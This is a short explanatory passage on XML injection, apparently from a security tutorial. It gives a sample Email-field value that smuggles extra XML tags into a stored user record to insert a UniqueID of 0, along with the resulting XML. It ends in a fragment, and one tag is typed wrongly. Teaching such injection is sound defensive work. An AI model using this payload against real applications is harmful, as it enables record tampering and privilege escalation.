Description:
XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intend logic of the application. Further, XML injection can cause the insertion of malicious content into the resulting message/document.
How to Exploit:
Inserting hacker@evil.com</Email><UniqueID>0</UniqueID><Email>hacker@evil.com in Email field will yield the following result:
<UserRecord>
<UniqueID>123</UniqueID>
<Name>Henry Ackerman</Name><Email> hacker@evil.com</Email><UniqueID>0</UniqueID><Email>hacker@evil.com< ; /Email>
<Address>123 Disk Drive</Address>
<ZipCode>98103</ZipCode>
<PhoneNumber>206-123-4567</PhoneNumber>
</UserRecord>
This will add more one record in XML database with UniqueID=0.
One Live...